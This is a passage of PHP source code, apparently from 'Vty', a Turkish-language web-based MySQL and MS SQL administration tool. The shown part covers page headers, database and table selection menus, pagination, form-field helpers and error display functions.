  1212. "function HepsiniSec(form,checkbox){var f=document.forms[form];var d=(typeof(f.elements[checkbox])!='undefined'?f.elements[checkbox]:0);var l=(typeof(d.length)!='undefined'?d.length:'0');if(l!=\"0\")for(var i=1;i<l;i++)d[i].checked=d[0].checked; }".""."\n".
  1213. "function sMi(){var by=0,form='dsform',checkbox='sdscheck[]',f=document.forms[form];var d=(typeof(f.elements[checkbox])!='undefined'?f.elements[checkbox]:0);var l=(typeof(d.length)!='undefined'?d.length:'0');for(var i=1;i<l;i++) if(d[i].checked==false) by = 3;if(by == 3) d[0].checked = false; else d[0].checked = true;}"."\n".
  1214. "function sdBiKontrolEt(form,checkbox,durum,neresi,soyle){ var f = document.forms[form].elements[checkbox];var d=(typeof(f)!='undefined'?f:0); var k=0,l = (typeof(d.length) != 'undefined' ? d.length : '0' );if(l!=\"0\"){for(var i=0;i<l;i++)if(d[i].checked == durum) k++;}else{if(d.checked == durum)k++;}if(k==\"0\"){return false;}else{if(neresi=='duzelt')return true;else if(neresi=='sil')return Sileyimmi(soyle);}}".
  1215. "function yeniDbOnSubmit(){ if(document.yeniDbForm.yeniDbAdi.value == '') return false; else return true; }"."\n".
  1216. "function yeniTbOnSubmit(){var f = document.yeniTbForm; if(f.yeniTbAdi.value==''||f.yeniTbAlanSayisi.value=='')return false; else return true;}"."\n".
  1217. "function BunaFocus(form,ele){document.forms[form].elements[ele].focus();}"."\n".
  1218. "function fncKukiliGirisOnSub(){f = document.frmKukiliGiris; if(f.txtDbHost.value=='')return false; else return true;}"."\n". // || f.txtDbKullanici.value ==''
  1219. "//--> </script>"."\n"."</head>"."\n";
  1220. echo $this->ImzaKoy();
  1221.  
  1222. echo "<body".$this->onLoad($devam).' bgcolor="#cccccc" >'."\n".
  1223. "<a name=\"EnUst\"></a>"."\n";
  1224.  
  1225. $this->tabloBas('','1','0','','','');
  1226. $this->ust_logo();
  1227. $this->tabloSonu();
  1228. }
  1229.  
  1230. /**
  1231. * ust_logo
  1232. *
  1233. */
  1234. function ust_logo(){
  1235. $this->tabloBas('','0','5','30','0','#CBD6DE');
  1236. echo '&nbsp; <a href="'.$this->vtyUrl.'" target="_blank" ><font color="#333333" ><strong>V t y '.$this->vtyversion.'</strong></font></a><font color="#333333" > - '.$this->dug->dil['VtYonet'].'</font>&nbsp;&nbsp;</td>'."\n".
  1237. "\t\t\t".'<td width="5" >&nbsp;</td>'."\n".
  1238. "\t\t\t".'<td align="right">'.
  1239. ((
  1240. !$this->ayar['LoginType']=='' and
  1241. (isset($_COOKIE['vtykuki_host']) or
  1242. !empty($this->sbtGirisYap)) and
  1243. $this->baglanti>0
  1244. )?
  1245. '<a href="'.$this->urlyap("ne=sesscikis&".$this->linkler).'" onClick="return confirm(\''.$this->dug->uy['EminmisinCikis'].'\');"><font color="red">'.$this->dug->dil['SessCikis'].'</font> </a> '.$this->ara().' '
  1246. :
  1247. ''
  1248. ).
  1249. ($this->baglanti>0?'<a href="'.$this->urlyap("ne=lang&".$this->linkler).'"><font color="#222222">'.'Language'.' ('.ucfirst($this->dug->dl).')</font></a> '.$this->ara().' ':' ')."\n".
  1250. ($this->baglanti>0?'<a href="'.$this->urlyap($this->linkler."&ne=docs&nebu=help").'"><font color="#222222">'.$this->dug->dil['Yardim'].'</font></a> '."\n":' ')."&nbsp;\n".
  1251. '</td>'."\n"."\t\t".'</tr>'."\n".
  1252. "\t\t".'<tr bgcolor="#394D5B"><td height="1" colspan="3" >'."\n";
  1253. $this->tabloSonu();
  1254. }
  1255.  
  1256. /**
  1257. * ust_sonu
  1258. *
  1259. * ust fonksiyonunda a�ilan tablonun kapatildigi fonksiyon
  1260. */
  1261. function ustSonu(){
  1262. $this->tabloSonu();
  1263. }
  1264.  
  1265. /*
  1266. *
  1267. * Database ve tablo listeleri
  1268. */
  1269. function db_secimi()
  1270. {
  1271. if( $this->ayar['DbSecimi'] == 1 ){
  1272. $this->tabloBas('','1','10','50','');
  1273. echo '<font size="4">'.$this->dug->dil['Vt'].': </font>'."\n".$this->db_liste()."\n";
  1274. echo (!empty($this->dbname)?'&nbsp;<font size="4"> - '.$this->dug->dil['Tablo'].':</font> '."\n".$this->tb_liste()."\n":'');
  1275. $this->tabloSonu();
  1276. }
  1277. }
  1278.  
  1279.  
  1280. /**
  1281. * db_liste()
  1282. *
  1283. * Drop down menu de database listesi,
  1284. *
  1285. * @access public
  1286. */
  1287. function db_liste($id=1)
  1288. {
  1289. if($id==1){
  1290. $return = "\t\t\t\t".'<select name="sSdb" onChange="atla(\'parent\',\''.$this->urlyap("dl=".$this->dug->dl).'\',this,0)">'."\n";
  1291. }elseif($id==2){
  1292. $return = "\t\t\t\t".'<select name="dumpet_dblist" style="width:200;" onChange="atla(\'parent\',\''.$this->urlyap("ne=dumpet&dl=".$this->dug->dl).'\',this,0)">';
  1293. }
  1294. $return .= "\t\t\t\t\t".'<option value="" selected>---'.$this->dug->dil['Seciniz'].'---</option>'."\n";
  1295. $db_list = $this->db->vty_list_dbs($this->baglan);
  1296. while ($row = $this->db->vty_fetch_object($db_list)) {
  1297. unset($temp_tb_numrows);
  1298. $DatabaseNameInObject = $this->db->vty_list_dbs_databasename();
  1299. $tempdb = $row->$DatabaseNameInObject;
  1300. if($tempdb == $this->dbname){$selected = 'selected'; $dbGercekMi = 1; }else{ $selected = ''; }
  1301.  
  1302. //DB_AYRIMI
  1303. if($this->ayar['db_type']=='mysql'){
  1304. $temp_tb_list = $this->db->vty_list_tables($tempdb);
  1305. $temp_tb_numrows = $this->db->vty_num_rows($temp_tb_list);
  1306. }elseif($this->ayar['db_type']=='mssql'){
  1307. $temp_tb_list = $this->db->vty_query("sp_tables");
  1308. $temp_tb_numrows = $this->db->vty_num_rows($temp_tb_list);
  1309. }
  1310.  
  1311. if($this->ayar['NtGoster'] == 1)
  1312. $tb_numrows =(($temp_tb_numrows == "0" or !empty($temp_tb_numrows) )? " (".$temp_tb_numrows.")" : ' : (x)' )."";
  1313.  
  1314. if(isset($temp_tb_numrows))
  1315. $return .= "\t\t\t\t\t".'<option value="&sdb='.urlencode($tempdb).'"'.$selected.'>'.$tempdb.$tb_numrows.'</option>'."\n";
  1316.  
  1317.  
  1318. }//w
  1319. if(empty($dbGercekMi) and $this->dbname)
  1320. unset($this->dbname);
  1321. $return .= "\t\t\t\t"."</select>"."\n";
  1322. return $return;
  1323. }
  1324.  
  1325. /**
  1326. * tb_liste()
  1327. *
  1328. * Drop down menu de tablo listesi,
  1329. *
  1330. * @access public
  1331. */
  1332. function tb_liste($id=1)
  1333. {
  1334. if($id==1){
  1335. $return = "\t\t\t\t".'<select name="sStb" onChange="atla(\'parent\',\''.$this->urlyap("sdb=".$this->dbname."&dl=".$this->dug->dl).'\',this,0)">'."\n";
  1336. $return .= "\t\t\t\t\t".'<option value="'.$this->urlyap("sdb=".$this->dbname).'" selected>---'.$this->dug->dil['Seciniz'].'---</option>'."\n";
  1337. }elseif($id==2){
  1338. $return = "\t\t\t\t".'<select name="dumpet_tablelist" size="15" style="width:200;" multiple onChange="return DumpEtJsHepHicSayi();" >'."\n"; //onChange="atla(\'parent\',\''.$this->urlyap("sdb=".$this->dbname."&dl=".$this->dug->dl).'\',this,0)"
  1339. }
  1340.  
  1341. $select = $this->db->vty_select_db($this->dbname);
  1342.  
  1343. if($this->ayar['db_type']=='mysql'){
  1344. $tb_list = $this->db->vty_list_tables($this->dbname);
  1345. $tb_numrows = $this->db->vty_num_rows($tb_list);
  1346. }elseif($this->ayar['db_type']=='mssql'){
  1347. $tb_list = $this->db->vty_query("sp_tables");
  1348. $tb_numrows = $this->db->vty_num_rows($tb_list);
  1349. }
  1350.  
  1351. $tableGercekMi = 0;
  1352. for($l=0;$l<$tb_numrows;$l++){
  1353.  
  1354. if($this->ayar['db_type']=='mysql')
  1355. $temptb = $this->db->vty_tablename($tb_list,$l);
  1356. elseif($this->ayar['db_type']=='mssql')
  1357. $temptb = mssql_result($tb_list,$l,'TABLE_NAME');
  1358.  
  1359. if($this->ayar['NfGoster'] == 1){
  1360.  
  1361. if($this->ayar['db_type']=='mysql')
  1362. $query = $this->db->vty_query("select count(*) as c from `$temptb` ");
  1363. elseif($this->ayar['db_type']=='mssql')
  1364. $query = $this->db->vty_query("select count(*) as c from [$temptb] ");
  1365.  
  1366. if($this->ayar['db_type']=='mysql')
  1367. $temptb = $this->db->vty_tablename($tb_list,$l);
  1368. elseif($this->ayar['db_type']=='mssql')
  1369. $temptb = mssql_result($tb_list,$l,'TABLE_NAME');
  1370.  
  1371. $numrows = $this->db->vty_result($query,"0","c"); unset($query);
  1372.  
  1373. if($this->ayar['db_type']=='mysql'){
  1374. $list = $this->db->vty_list_fields($this->dbname,$temptb);
  1375. $numfields = $this->db->vty_num_fields($list); unset($list);
  1376. }elseif($this->ayar['db_type']=='mssql'){
  1377. $list = $this->db->vty_query("sp_tables [$temptb]");
  1378. $numfields = $this->db->vty_num_fields($list); unset($list);
  1379. }
  1380.  
  1381. $soyle = $temptb.' ('.$numrows.'x'.$numfields.')';
  1382. }else{
  1383. $soyle = $temptb;
  1384. }
  1385. if($temptb == $this->tablename ){$selected = "selected"; $tableGercekMi=1;} else { $selected = '';}
  1386. if($id==1){
  1387. $return .= "\t\t\t\t\t".'<option value="&stb='.$temptb.'" '.$selected.'>'.$soyle.'</option>'."\n";
  1388. }elseif($id==2){
  1389. $return .= "\t\t\t\t\t".'<option value="'.$temptb.'" '.$selected.'>'.$soyle.'</option>'."\n";
  1390. }
  1391. } //f
  1392. $return .= "\t\t\t\t"."</select>"."\n";
  1393. return $return;
  1394. }
  1395.  
  1396. /**
  1397. * db_seciniz_linkler()
  1398. *
  1399. * Database seciniz, tablo seciniz ifadeleri
  1400. *
  1401. * @access private
  1402. * @return bos echo ile halleder
  1403. *
  1404. */
  1405. function db_seciniz_linkler()
  1406. {
  1407. if(empty($this->dbname)){
  1408. $this->tabloBas('','1','10','','',$this->dug->gor['bgcolor3']);
  1409. $this->Soyle($this->dug->dil['VtSeciniz']."","green",'',""); echo "\n";
  1410. $this->tabloSonu();
  1411. $this->tabloBas('','1','10','60','',$this->dug->gor['bgcolor2']);
  1412. echo '<li><a href="'.$this->urlyap("ne=sqlgoster&".$this->linkler).'">'.$this->dug->dil['Sql']."</a></li> \n ".
  1413. '<li><a href="'.$this->urlyap("ne=yeniDbEkle&".$this->linkler).'">'.$this->dug->dil['DbEkle']."</a></li> \n ";
  1414. $this->tabloSonu();
  1415.  
  1416. }elseif(empty($this->tablename)){
  1417. $this->tabloBas('','1','10','','',$this->dug->gor['bgcolor3']);
  1418. $this->Soyle($this->dug->dil['TbSeciniz']."","green",'',""); echo "\n";
  1419. $this->tabloSonu();
  1420. $this->tabloBas('','1','0','60','0',$this->dug->gor['alt_bgcolor']);
  1421. $this->tabloBas('','0','10','','',$this->dug->gor['bgcolor2']);
  1422. echo '<li><a href="'.$this->urlyap("ne=sqlgoster&amp;".$this->linkler)."\">".$this->dug->dil['Sql']."</a></li>"."\n".
  1423. '<li><a href="'.$this->urlyap("ne=yeniTbEkle&amp;".$this->linkler)."\" >".$this->dug->dil['TbEkle']."</a></li>"."\n".
  1424. '<li><a href="'.$this->urlyap("ne=yeniDbEkle&amp;".$this->linkler)."\" >".$this->dug->dil['DbEkle']."</a></li>"."\n".
  1425. '<li><a href="'.$this->urlyap("ne=dbSil&amp;sor=e&amp;".$this->linkler)."\" onClick=\"return Sileyimmi('". $this->dug->uy['EminmisinDbSil']."');\">".
  1426. "<font color=\"red\">".$this->dug->dil['DbSil']."</font></a>".
  1427. '</li>'."\n".
  1428. "</td>"."\n".
  1429. "<td align=\"right\" valign=\"top\">"."\n".
  1430. '<a href="'.$this->urlyap($this->linkler).'">'.$this->dug->dil['SayfaYnl'].'</a> '.$this->ara().' '.
  1431. '<a href="'.$this->urlyap("sdb=&dl=".$this->dug->dl).'" >'.$this->dug->dil['Yukari'].'</a>'."\n";
  1432. $this->tabloSonu();
  1433. $this->tabloSonu();
  1434. }
  1435. }
  1436.  
  1437. /**
  1438. * _htmlSonu()
  1439. *
  1440. * Sayfanin bitimindeki html body taglarini koyar.
  1441. *
  1442. * @access private
  1443. */
  1444. function _htmlSonu()
  1445. {
  1446. echo '</body>'."\n".'</html>';
  1447. }
  1448.  
  1449.  
  1450. /**
  1451. *
  1452. *
  1453. *
  1454. * ALL
  1455. * FUNCTIONS
  1456. *
  1457. *
  1458. *
  1459. */
  1460.  
  1461. function gecici_tb_adi()
  1462. {
  1463. return ($this->ayar['db_type']=='mssql'?'['.$this->tablename.']':'`'.$this->tablename.'`');
  1464. }
  1465.  
  1466. function select_db()
  1467. {
  1468. return $this->db->vty_select_db($this->dbname) or die ($this->db->vty_error());
  1469. }
  1470.  
  1471. function numrows()
  1472. {
  1473. $gcc_table_name = $this->gecici_tb_adi();
  1474. $this->numrows = $this->db->vty_result($this->db->vty_query("SELECT COUNT(*) as c FROM $gcc_table_name"),0,'c');
  1475. }
  1476.  
  1477. /**
  1478. * SayfaYap()
  1479. *
  1480. * �ekilen verileri (mesela) 50'ser 50'ser sayfalara ayiran fonksiyon
  1481. *
  1482. * @param $numrows Sql sorgusundan gelen satir sayisi
  1483. * @param $linkler vty'de dolasan $linkler degisgeni href="$linkler seklinde
  1484. * @return bos. echo ile kendini ifade eder.
  1485. * @access public
  1486. */
  1487. function SayfaYap()
  1488. {
  1489. if($this->ayar['db_type']=='mysql'){
  1490. $bs = (!empty($this->pp)?$this->pp:$this->ayar['PerPage']);
  1491. $ts = ceil($this->numrows / $bs);
  1492. $kac = ((!$this->kac or $this->kac<1)?1:($this->kac>$ts?$ts:$this->kac));
  1493. $i = ($kac -1)*$bs;
  1494. $s = ($kac==$ts?($bs - (($ts*$bs) - $this->numrows)):$bs);
  1495. $basson = ($ts<40?40:10);
  1496. if($this->numrows>0){
  1497. $this->query_limit = 'LIMIT '.$i.', '.$s;
  1498.  
  1499. echo '<table width="100%" height="0" border = "0" cellspacing="0" cellpadding="0" >
  1500. <form name="fSayfaBasi" method="post" action="'.$this->urlyap($this->linkler).'" >
  1501. <tr bgcolor="#E9EDE9" ><td>&nbsp;';
  1502.  
  1503. echo ($kac-1>0?'<a href="'.$this->urlyap($this->linkler."kac=".($kac-1)).'" style="color:#009933;" ><b>&lt;</b></a>':'&lt;').' ';
  1504. echo $this->dug->dil['sayfalar']."&nbsp; ";
  1505. echo ($kac+1<=$ts?'<a href="'.$this->urlyap($this->linkler."kac=".($kac+1)).'" style="color:#009933;" ><b>&gt;</b></a>':'&gt;').' :&nbsp; ';
  1506.  
  1507. if((($kac>$basson)?$kac-$basson:1)!=1)
  1508. echo ($kac!=1?'&nbsp;<a href="'.$this->urlyap($this->linkler."kac=".(1).'"').' style="color:#009933;" >'.'1'.'</a>':'1').' ... ';
  1509. for($k=(($kac>$basson)?$kac-$basson:1);$k<=(($kac+$basson<=$ts)?$kac+$basson:$ts);$k++){
  1510. echo '<a href="'.$this->urlyap($this->linkler."kac=".$k).'" style="color:#009933;" >'.($k==$kac?'<b><u>'.$k.'</u></b>':''.$k.'').'</a> ';
  1511. }
  1512. if((($kac+$basson<=$ts)?$kac+$basson:$ts)!=$ts){
  1513. echo ' ... '.($kac!=$ts?'&nbsp;<a href="'.$this->urlyap($this->linkler."kac=".$ts.'"').' style="color:#009933;" >'.$ts.'</a>':'').' ';
  1514. }
  1515. echo "</td> \n"
  1516. ."<td align=\"right\" valign=\"top\" nowrap > \n"
  1517. .'<b>'.$this->dug->dil['sayfa'].': <input name="kac" type="text" value="'.$kac.'" size="5" style="width=\'37\'" > &nbsp;'
  1518. .$this->dug->dil['SayfaBasi'].': <input name="sayfaBasi" type="text" value="'.(($this->numrows<$bs and empty($this->pp))?$this->numrows:$bs).'" size="5" style="width=\'37\'" >'
  1519. .'<input name="git" type="submit" size="1" value=" &gt; "></b>'
  1520. ."&nbsp;</td></tr></form></table>";
  1521. $this->tabloSonu();
  1522. }
  1523. }else{
  1524. ; // may be mssql
  1525. }
  1526. }
  1527.  
  1528. /**
  1529. * query_limit
  1530. *
  1531. */
  1532. function query_limit()
  1533. {
  1534. $numrows = $this->numrows;
  1535. $bs = (!empty($this->pp)?$this->pp:$this->ayar['PerPage']);
  1536. $ts = ceil($numrows / $bs);
  1537. $kac = ((!$this->kac or $this->kac>$ts)?1:$this->kac);
  1538. $i = ($kac -1)*$bs;
  1539. $s = ($kac==$ts?($bs - (($ts*$bs) - $numrows)):$bs);
  1540. if($numrows>0){
  1541. $this->query_limit = 'LIMIT '.$i.', '.$s;
  1542. return $this->query_limit;
  1543. }
  1544. }
  1545.  
  1546. /**
  1547. * dbKurulumu()
  1548. *
  1549. * DB Fonksiyonlari kurulumu yoksa kurulu degilmi onu kontrol eder.
  1550. *
  1551. * @param $dbTipi Veritabaninin tipi 'mysql' veya 'mssql'
  1552. * @return true yada false
  1553. */
  1554. function dbKurulumu($dbTipi)
  1555. {
  1556. if($dbTipi=='mysql')
  1557. return function_exists('mysql_connect');
  1558. elseif($dbTipi=='mssql')
  1559. return function_exists('mssql_connect');
  1560. }
  1561.  
  1562. /**
  1563. * dbTipiAdi()
  1564. *
  1565. * MS SQL ve Mysql icin dogru yazilim dondurur
  1566. *
  1567. * @param $dbTipi Veritabaninin tipi 'mysql' veya 'mssql'
  1568. * @return string Mysql yada MS SQL seklinde database adi dogru yazilimi
  1569. */
  1570. function dbTipiAdi($dbTipi)
  1571. {
  1572. if($dbTipi=='mysql')
  1573. return 'Mysql';
  1574. elseif($dbTipi=='mssql')
  1575. return 'MS SQL';
  1576. else
  1577. return 'Unknown Database Server';
  1578. }
  1579.  
  1580. /*function t($t=1)
  1581. {
  1582. $return = '';
  1583. for($i=0;$i<$t;$i++) $return .= "\t";
  1584. return $return;
  1585. }*/
  1586.  
  1587. function onLoad($devam)
  1588. {
  1589. if($this->ne=='yeniDbEkle'){
  1590. $return = "'yeniDbForm','yeniDbAdi'";
  1591. } elseif($this->ne=='yeniTbEkle' and $devam <> 'et'){
  1592. $return = "'yeniTbForm','yeniTbAdi'";
  1593. } elseif($this->ne=='sqlgoster'){
  1594. $return = "'fquery','inquery'";
  1595. }elseif($this->baglan == 0 /*or $this->gp('txtDbHost')*/ and ($this->ayar['LoginType']=='config_or_login' or $this->ayar['LoginType']=='login' )){ //or $this->ayar['LoginType']==2
  1596. $return = "'frmKukiliGiris','txtDbKullanici'";
  1597. }
  1598. return $return = (!empty($return) ? ' onLoad="BunaFocus('.$return.');" ' : '') ;
  1599. }
  1600.  
  1601. /**
  1602. * urlyap()
  1603. *
  1604. * �ok sik kullanilan bir fonksiyon, linkler olusturur.
  1605. *
  1606. * @param $url dl=tr&sdb=test&stb=table sekinde bilgiler icerir
  1607. * @param $root k�k varmi? yok mu?
  1608. * @return (string) url adress
  1609. */
  1610. function urlyap($url,$root='var')
  1611. {
  1612. $dosya = ($root=='var'? $this->dosya : '' );
  1613. $url = (( substr($url,-1) == "&" or empty($url) ) ? $url."r=".$this->random : $url.'&'."r=".$this->random );
  1614. return $url = $dosya."?".$url;
  1615. }
  1616.  
  1617. function Soyle($soyle,$color="green",$size="",$h)
  1618. {
  1619. if($h) echo "<".$h.">";
  1620. echo "<font color=\"$color\" size=\"$size\">$soyle</font>";
  1621. if($h) echo "</".$h.">";
  1622. }
  1623.  
  1624. function ImzaKoy()
  1625. {
  1626. print("\n<!-- This page created by Vty - ".date("Y.m.d H:i:s")." -->\n".
  1627. "<!-- Vty download page : http://www.kutukutu.com/vty/ (download)-->\n\n");
  1628. }
  1629.  
  1630. function RandomSayi()
  1631. {
  1632. mt_srand ((double) microtime() * 1000000);
  1633. $this->random = mt_rand();
  1634. }
  1635.  
  1636. function ikirenkli($i,$renk1='#eeeeee',$renk2='#eeeeec')
  1637. {
  1638. if($i%2){ $bgcolor = $renk1;} else { $bgcolor = $renk2;}
  1639. return $bgcolor;
  1640. }
  1641.  
  1642. function baslik($yazi)
  1643. {
  1644. return '<b><font color="#000000" size="3">'.$yazi.'</font></b>';
  1645. }
  1646.  
  1647. function ilk50($girilen,$uzunluk)
  1648. {
  1649. $strlen = strlen($girilen);
  1650. if($strlen > ($uzunluk)){
  1651. if($strlen == ($uzunluk+3))
  1652. $girilen = substr($girilen,0,($uzunluk+3));
  1653. else
  1654. $girilen = substr($girilen,0,$uzunluk)."..";
  1655. }
  1656. return $girilen;
  1657. }
  1658.  
  1659. function AlanTipi($result,$alantipi='int')
  1660. {
  1661. if($alantipi == 'int'){
  1662. $textyeri = '<input type="text" name="duzeltyazi[]" value="'.$result.'" >';
  1663. }elseif($alantipi == 'string' ){
  1664. $textyeri = '<textarea name="duzeltyazi[]" cols="20" rows="3">'.$result.'</textarea>';
  1665. }elseif($alantipi == 'blob' ){
  1666. $textyeri = '<textarea name="duzeltyazi[]" cols="25" rows="6">'.$result.'</textarea>';
  1667. }else{
  1668. $textyeri = '<input type="text" name="duzeltyazi[]" value="'.$result.'" >';
  1669. //echo "FARKLI DURUM!!! >> ".$alantipi;
  1670. }
  1671. return $textyeri;
  1672. }
  1673.  
  1674. /*
  1675. * Coklu duzeltme sayfasindaki durum.
  1676. */
  1677. function AlanTipi2($deger,$alantipi,$k)
  1678. {
  1679. if($alantipi == 'int'){
  1680. $textyeri = '<input type="text" name="sdsduzeltyazi['.$k.'][]" value="'.$deger.'" >';
  1681. }elseif($alantipi == 'string' ){
  1682. $textyeri = '<textarea name="sdsduzeltyazi['.$k.'][]" cols="20" rows="3" >'.$deger.'</textarea>';
  1683. }elseif($alantipi == 'blob' ){
  1684. $textyeri = '<textarea name="sdsduzeltyazi['.$k.'][]" cols="25" rows="6" >'.$deger.'</textarea>';
  1685. }else{
  1686. $textyeri = '<textarea name="sdsduzeltyazi['.$k.'][]" cols="25" rows="6">'.$deger.'</textarea>';
  1687. }
  1688. return $textyeri;
  1689. }
  1690.  
  1691. /**
  1692. * gp()
  1693. *
  1694. * get the post and get variables without any error report
  1695. *
  1696. * @param $deg degisken adi
  1697. * @param $met 'get', 'post', ''
  1698. *
  1699. * @return $ret degisken degeri //"_FILES","HTTP_POST_FILES"); //EXTR_OVERWRITE
  1700. */
  1701. function gp($deg,$tur='gp')
  1702. {
  1703. $ret = false;
  1704. if($tur=='g') $gelenler = array("_GET","HTTP_GET_VARS");
  1705. elseif($tur=='p') $gelenler = array("_POST","HTTP_POST_VARS");
  1706. elseif($tur=='c') $gelenler = array("_COOKIE","HTTP_COOKIE_VARS");
  1707. elseif($tur=='s') $gelenler = array("_SERVER","HTTP_SERVER_VARS");
  1708. elseif($tur=='f') $gelenler = array("_FILES","HTTP_POST_FILES");
  1709. else $gelenler = array("_GET","HTTP_GET_VARS","_POST","HTTP_POST_VARS");
  1710. if(isset($deg))
  1711. foreach($gelenler as $gelen){
  1712. global $$gelen;
  1713. if(isset($$gelen)){
  1714. $gelend = $$gelen;
  1715. if(isset($gelend[$deg])){
  1716. $$deg = $gelend[$deg];
  1717. $ret = $$deg;
  1718. }
  1719. }
  1720. }
  1721. return $ret;
  1722. }
  1723.  
  1724. /**
  1725. * gkp()
  1726. *
  1727. * gelen degiskene stripslashes falan ekler
  1728. *
  1729. * @param $deg degisken adi : bunlari gp fonksiyonuna gonderir.
  1730. * @param $met 'get', 'post', '' : bunlari gp fonksiyonuna gonderir.
  1731. *
  1732. * @return $ret degisken degeri
  1733. */
  1734. function gkp($deg,$tur='gp')
  1735. {
  1736. $deg = $this->gp($deg,$tur);
  1737. if(get_magic_quotes_gpc()==true)
  1738. $deg = stripslashes($deg);
  1739. return $deg;
  1740. }
  1741.  
  1742.  
  1743. /**
  1744. * NoCache()
  1745. * Ge�mise kaydolmayi engeller
  1746. */
  1747. function NoCache(){
  1748. //header("Expires: Mon, 5 jul 1980 05:00:00 GMT");
  1749. //header("Cache-Control: no-cache, must-revalidate");
  1750. //header("Pragma: no-cache");
  1751. }
  1752.  
  1753. /**
  1754. * PrimaryVarMi()
  1755. *
  1756. * Bir tabloda Primary varmi yokmu onu s�yler
  1757. */
  1758. function PrimaryVarMi(){
  1759. $field_name = '';
  1760. $list = $this->db->vty_list_fields($this->dbname, $this->tablename);
  1761. $numfield = $this->db->vty_num_fields($list);
  1762. for($i=0;$i<$numfield;$i++){
  1763. $fetch_field = $this->db->vty_fetch_field($list,$i);
  1764. if($fetch_field->primary_key == "1")
  1765. $field_name =$fetch_field->name;
  1766. }
  1767. if($field_name) return 1; else return 0;
  1768. }
  1769.  
  1770. /**
  1771. * Mysql Tablo T�rleri select men�s� yap
  1772. *
  1773. *
  1774. */
  1775. function AlanTurleri($selectadi="alanturleri"){
  1776. $array = array('INT','VARCHAR','TEXT','TINYINT','SMALLINT','MEDIUMINT','BIGINT','FLOAT','DOUBLE','DATA','DATATIME','TIMESTAMP','TIME','YEAR','CHAR',
  1777. 'TINYBLOB','TINYTEXT','BLOB','MEDIUMTEXT','MEDIUMBLOB','LONGBLOB','LONGTEXT','ENUM','SET');
  1778. $return = "<select name=\"$selectadi\">\n";
  1779. foreach($array as $anahtar => $deger){ $return .= "<option>$deger</option>\n";}
  1780. return $return .= "</select>\n";
  1781. }
  1782.  
  1783. function HataGoster($hatasi){
  1784. $this->ust();
  1785. $this->tabloBasi();
  1786. $hata = ''; if($this->db->vty_error()) $hata = '<br>HATA: '.$this->db->vty_error();
  1787. echo "<font sytle=\" color=\"red\"\">$hatasi</font>$hata <br><a href=\"javascript:history.back(-1)\" >� ".$this->dug->dil['Geri']."</a>".
  1788. " | <a href=\"".$this->urlyap($this->linkler)."\" >".$this->dug->dil['Iptal']."</a>";
  1789. $this->tabloSonu();
  1790. }
  1791.  
  1792. function HataGoster2($hatasi){
  1793. $hata = ''; if($this->db->vty_error()) $hata = '<br>HATA: '.$this->db->vty_error();
  1794. echo "<font sytle=\" color=\"red\"\">$hatasi</font>$hata <br><a href=\"javascript:history.back(-1)\" >� ".$this->dug->dil['Geri']."</a>".
  1795. " | <a href=\"".$this->urlyap($this->linkler)."\" >".$this->dug->dil['Iptal']."</a>";
  1796. }
  1797.  
  1798. /**
  1799. * SonucGoster()
  1800. *
  1801. * Sonu� varsa g�sterir
  1802. *
  1803. */
  1804. function SonucGoster($sql,$oldu,$hata){
  1805. $arr = array('@DbName@'=>$this->dbname,'@DbTable@'=>$this->tbname);
  1806. $oldu = strtr($oldu,$arr);
  1807. $hata = strtr($hata,$arr);
  1808. if($this->db->vty_query($sql) == true){
  1809. echo '<font color="green" >'.$oldu."</font>\n<br/>\n".
  1810. "<div style='margin:5;'></div>".
  1811. '<a href="'.$this->urlyap($this->linkler).'" >'.$this->dug->dil['Tamam'].'</a>'."\n".
  1812. '<meta http-equiv="refresh" content="1;URL='.$this->urlyap($this->linkler).'"><br/> ';
  1813. } else {
  1814. echo '<font color="red" size="3" >'.$hata."</font>\n<br/><br/>\n".
  1815. '<font color="red">'.$this->dug->dil['MysqlHata'].':</font> '.mysql_error().'<br/>'.
  1816. '<font color="red">'.$this->dug->dil['Sql'].':</font> '.$sql.'<br/><br/>'.
  1817. '<a href="javascript:history.back(-1)" > � '.$this->dug->dil['Geri'].'</a> '.$this->ara().' '.
  1818. '<a href="'.$this->urlyap($this->linkler).'" >'.$this->dug->dil['Tamam'].'</a><br/> '."\n";
  1819. }
  1820. }
  1821.  
  1822. /**
  1823. * DiziyiAc()
  1824. *
  1825. * Bir Dizideki de�i�ken de�erlerini aralar�na $ara koyarak s�ralar.
  1826. *
  1827. */
  1828. function DiziyiAc($dizi,$ara){
  1829. $sonuc = '';
  1830. array($dizi); $count = count($dizi);
  1831. for($i=0;$i<$count;$i++){
  1832. $sonuc = $dizi[$i].$ara.$sonuc;
  1833. }
  1834. $strlen = strlen($ara);
  1835. $sonuc = substr($sonuc,0,-$strlen);
  1836. return $sonuc;
  1837. }
  1838.  
  1839. function islemSonucu($soyle){
  1840. $this->ust();
  1841. $this->tabloBasi3();
  1842. echo "\t\t\t\t"."<br />"."\n";
  1843. echo "\t\t\t\t".$soyle."\n";
  1844. echo "\t\t\t\t"."<br /> <br />"."\n";
  1845. $this->tabloSonu();
  1846. }
  1847.  
  1848. /**
  1849. * tabloBas()
  1850. *
  1851. * Genel olarak tablonun bas kismini olusturur
  1852. * tabloBasi12345 fonksiyonlari bundan alirlar.
  1853. *
  1854. */
  1855. function tabloBas($wi='',$spa='',$pad='',$he='',$bo='',$bg=''){
  1856. $wi = ' width="' .($wi!='' ? $wi : $this->dug->gor['table_width']) .'" ';
  1857. $spa = 'cellspacing="' .($spa!=''? $spa : $this->dug->gor['cellspacing']) .'" ';
  1858. $pad = 'cellpadding="' .($pad!=''? $pad : $this->dug->gor['cellpadding']) .'" ';
  1859. $he = 'height="' .($he!='' ? $he : $this->dug->gor['table_height']) .'" ';
  1860. $bo = 'border="' .($bo!='' ? $bo : $this->dug->gor['border']) .'" ';
  1861. $bg = ' bgcolor="' .($bg!='' ? $bg : $this->dug->gor['enust_bgcolor']) .'" ';
  1862. echo "\t".'<table'.$wi.$he.$bo.$spa.$pad.'>'."\n".
  1863. "\t\t".'<tr'.$bg.'>'."\n".
  1864. "\t\t\t"."<td>"."\n";
  1865. }
  1866.  
  1867. function tabloBasi(){
  1868. $this->tabloBas('','','3','','',$this->dug->gor['enalt_bgcolor']);
  1869. }
  1870.  
  1871. function tabloBasi2(){
  1872. $this->tabloBas('','','6','','',$this->dug->gor['alt_bgcolor']);
  1873. }
  1874.  
  1875. function tabloBasi3(){
  1876. $this->tabloBas('','','12','','',$this->dug->gor['enalt_bgcolor']);
  1877. }
  1878.  
  1879. function tabloBasi4(){
  1880. $this->tabloBas();
  1881. }
  1882.  
  1883. function tablo2($icerik)
  1884. {
  1885. $this->tabloBasi3();
  1886. echo $icerik;
